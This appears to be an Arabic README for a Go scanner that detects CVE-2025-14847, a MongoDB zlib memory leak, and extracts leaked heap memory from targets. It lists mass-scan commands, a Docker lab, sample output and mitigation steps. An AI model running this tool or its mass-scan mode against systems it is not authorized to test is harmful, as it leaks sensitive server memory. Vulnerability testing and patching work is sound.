
MongoDB أداة كشف ثغرة تسرب الذاكرة (CVE-2025-14847)
أداة الكشف عن ثغرة تسرب الذاكرة في MongoDB (CVE-2025-14847)
⚠️ تنبيه مهم: هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها وتقييم الثغرات. الاستخدام غير المصرح به قد يخالف القانون.
CVE-2025-14847 هي ثغرة خطيرة في تسرب الذاكرة في معالجة بروتوكول ضغط Zlib في MongoDB. يمكن للمهاجم إرسال حزمة بيانات مضغوطة تم إنشاؤها بشكل خبيث، مما يؤدي إلى إرجاع MongoDB لبيانات ذاكرة كومة غير مهيأة، والتي قد تحتوي على معلومات حساسة.
# استنساخ المستودع
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# تثبيت التبعيات
go mod download
# التجميع
go build -o mongodb-scanner main.go
# التشغيل
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
انتقل إلى صفحة الإصدارات لتنزيل الإصدار المناسب لنظامك.
# مسح هدف واحد
./mongodb-scanner -t 127.0.0.1:27017
# مسح جماعي من ملف
./mongodb-scanner -f targets.txt
# مسح جماعي (20 خيطًا)
./mongodb-scanner -f targets.txt -c 20
# المسح وحفظ الأهداف المعرضة للثغرة
./mongodb-scanner -f targets.txt -o vulnerable.txt
# نطاق إزاحة مخصص (مسح أسرع أو أعمق)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
أنشئ ملف targets.txt:
# قائمة أهداف MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# إذا لم يتم تحديد المنفذ، يستخدم المنفذ 27017 افتراضيًا
192.168.1.101
لاختبار هذه الأداة بأمان، يُوصى باستخدام Docker لإنشاء بيئة اختبار محلية.
# بدء MongoDB 6.0.14 (إصدار متأثر بالثغرة) مع تفعيل ضغط Zlib
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# عرض حالة الحاوية
docker ps
# اختبار الثغرة
./mongodb-scanner -t 127.0.0.1:27017
أنشئ ملف docker-compose.yml:
version: '3.8'
services:
# الإصدار المتأثر بالثغرة (مع تفعيل Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# الإصدار المُصحَّح (للمقارنة)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
تشغيل بيئة الاختبار:
# تشغيل جميع الحاويات
docker-compose up -d
# اختبار الإصدار المتأثر بالثغرة
./mongodb-scanner -t 127.0.0.1:27017
# اختبار الإصدار المُصحَّح
./mongodb-scanner -t 127.0.0.1:27018
# إيقاف وتنظيف
docker-compose down -v
# إيقاف وحذف الحاوية
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# تنظيف وحدات التخزين
docker volume prune -f
تستخدم الأداة بادئات موحدة لتمييز معلومات الإخراج:
[*] – معلومات (الهدف، الإصدار، الإعدادات، إلخ)[+] – نجاح / وجود ثغرة / استخراج بيانات[-] – فشل / آمن / لا توجد ثغرة[!] – تحذير / تنبيه مهم╔══════════════════════════════════════════════════════════════╗
║ أداة الكشف عن ثغرة MongoDB CVE-2025-14847 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ للاختبارات الأمنية المصرح بها فقط | الاختبار غير المصرح به قد يكون غير قانوني
[*] الهدف: 1 | الخيوط: 10 | المهلة: 2s | الإزاحة: 20-1000
[*] بدء المسح...
[*] الهدف: 127.0.0.1:27017
[*] الإصدار: 6.0.14
[+] الإصدار معرض للثغرة: نعم
[+] ضغط Zlib: مفعل
[!] الثغرة قابلة للاستغلال، بدء استخراج الذاكرة...
[+] الإزاحة=229 الطول=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 – الثغرة قابلة للاستغلال (الإصدار 6.0.14) – 3468 مللي ثانية
[+] تم استخراج عنصر واحد من بيانات الذاكرة:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] اكتمل المسح | الإجمالي: 1 | قابل للاستغلال: 1 | آمن: 0 | الوقت المستغرق: 3.4 ثانية
======================================================================
[*] الهدف: 127.0.0.1:27018
[*] الإصدار: 6.0.27
[-] الإصدار معرض للثغرة: لا
[-] 127.0.0.1:27018 – الإصدار آمن (الإصدار 6.0.27) – 156 مللي ثانية
======================================================================
[*] اكتمل المسح | الإجمالي: 1 | قابل للاستغلال: 0 | آمن: 1 | الوقت المستغرق: 0.2 ثانية
======================================================================
[*] الهدف: 127.0.0.1:27017
[*] الإصدار: 6.0.14
[+] الإصدار معرض للثغرة: نعم
[-] ضغط Zlib: غير مفعل
[-] 127.0.0.1:27017 – Zlib غير مفعل (الإصدار 6.0.14) – 234 مللي ثانية
======================================================================
[*] اكتمل المسح | الإجمالي: 1 | قابل للاستغلال: 0 | آمن: 1 | الوقت المستغرق: 0.3 ثانية
======================================================================
[*] الهدف: 5 | الخيوط: 10 | المهلة: 2s | الإزاحة: 20-8192
[*] بدء المسح...
[+] 192.168.1.10:27017 – الثغرة قابلة للاستغلال (الإصدار 6.0.14) – 3521 مللي ثانية
[+] تم استخراج عنصرين من بيانات الذاكرة:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 – الإصدار آمن (الإصدار 6.0.27) – 145 مللي ثانية
[-] 192.168.1.12:27017 – Zlib غير مفعل (الإصدار 6.0.14) – 198 مللي ثانية
[+] 192.168.1.13:27017 – الثغرة قابلة للاستغلال (الإصدار 7.0.15) – 2987 مللي ثانية
[!] 192.168.1.14:27017 – الثغرة قابلة للاستغلال ولكن لم يتم استخراج بيانات (الإصدار 6.0.20) – 4123 مللي ثانية
======================================================================
[*] اكتمل المسح | الإجمالي: 5 | قابل للاستغلال: 3 | آمن: 2 | الوقت المستغرق: 5.2 ثانية
======================================================================
[+] تم حفظ الأهداف القابلة للاستغلال في: vulnerable.txt
تستخدم هذه الأداة آلية كشف ثلاثية المراحل:
buildInfo)| الشرط | النتيجة |
|---|---|
| إصدار معرض للثغرة + Zlib مفعل + استخراج بيانات | ✅ الثغرة قابلة للاستغلال – عرض البيانات المسربة |
| إصدار معرض للثغرة + Zlib مفعل + لم يتم استخراج بيانات | ⚠️ الثغرة قابلة للاستغلال ولكن لم يتم استخراج بيانات |
| إصدار معرض للثغرة + Zlib غير مفعل | ❌ Zlib غير مفعل – لا يمكن الاستغلال |
| إصدار غير معرض للثغرة |
قم بالترقية الفورية إلى أحد الإصدارات المُصحَّحة التالية:
إذا تعذرت الترقية على المدى القصير، يمكن اتخاذ الإجراءات المؤقتة التالية:
في ملف التكوين mongod.conf أو mongos.conf:
net:
compression:
compressors: []
أو استبعاد zlib صراحةً في معاملات بدء التشغيل:
mongod --networkMessageCompressors snappy,zstd
يُوصى باستخدام snappy أو zstd بدلاً من zlib:
net:
compression:
compressors: snappy,zstd
bindIp--auth)⚠️ تنبيه مهم: إجراءات التخفيف المؤقتة تقلل المخاطر فقط، وليست حلاً جذريًا. يُوصى بشدة بالترقية إلى الإصدار المُصحَّح في أقرب وقت.
تنبيه مهم:
باستخدام هذه الأداة، فإنك توافق على:
هذا المشروع مرخص بموجب ترخيص MIT.
نرحب بإضافة المشكلات (Issues) وطلبات السحب (Pull Requests)!
git checkout -b feature/AmazingFeature)git commit -m 'أضف ميزة رائعة')git push origin feature/AmazingFeature)onewinner – @onewinner
رابط المشروع: https://github.com/onewinner/CVE-2025-14847
⭐ إذا كان هذا المشروع مفيدًا لك، نرجو منحه نجمة!
Made with ❤️ by Security Researchers
| نطاق الإصدار | الحالة |
|---|
| 8.2.0 – 8.2.2 | ⚠️ متأثر |
| 8.0.0 – 8.0.16 | ⚠️ متأثر |
| 7.0.0 – 7.0.27 | ⚠️ متأثر |
| 6.0.0 – 6.0.26 | ⚠️ متأثر |
| 5.0.0 – 5.0.31 | ⚠️ متأثر |
| 4.4.0 – 4.4.29 | ⚠️ متأثر |
| 4.2.x جميع الإصدارات | ⚠️ متأثر |
| 4.0.x جميع الإصدارات | ⚠️ متأثر |
| 3.6.x جميع الإصدارات | ⚠️ متأثر |
| المعامل | الوصف | القيمة الافتراضية |
|---|
-t <target> | هدف واحد (مثال: 127.0.0.1:27017) | - |
-f <file> | ملف الأهداف (هدف في كل سطر) | - |
-c <num> | عدد الخيوط المتزامنة | 10 |
-timeout <time> | مهلة الاتصال | 2s |
-o <file> | ملف الإخراج (حفظ الأهداف المعرضة للثغرة) | - |
--min-offset <num> | أدنى إزاحة لطول المستند | 20 |
--max-offset <num> | أقصى إزاحة لطول المستند | 8192 |
| ✅ الإصدار آمن |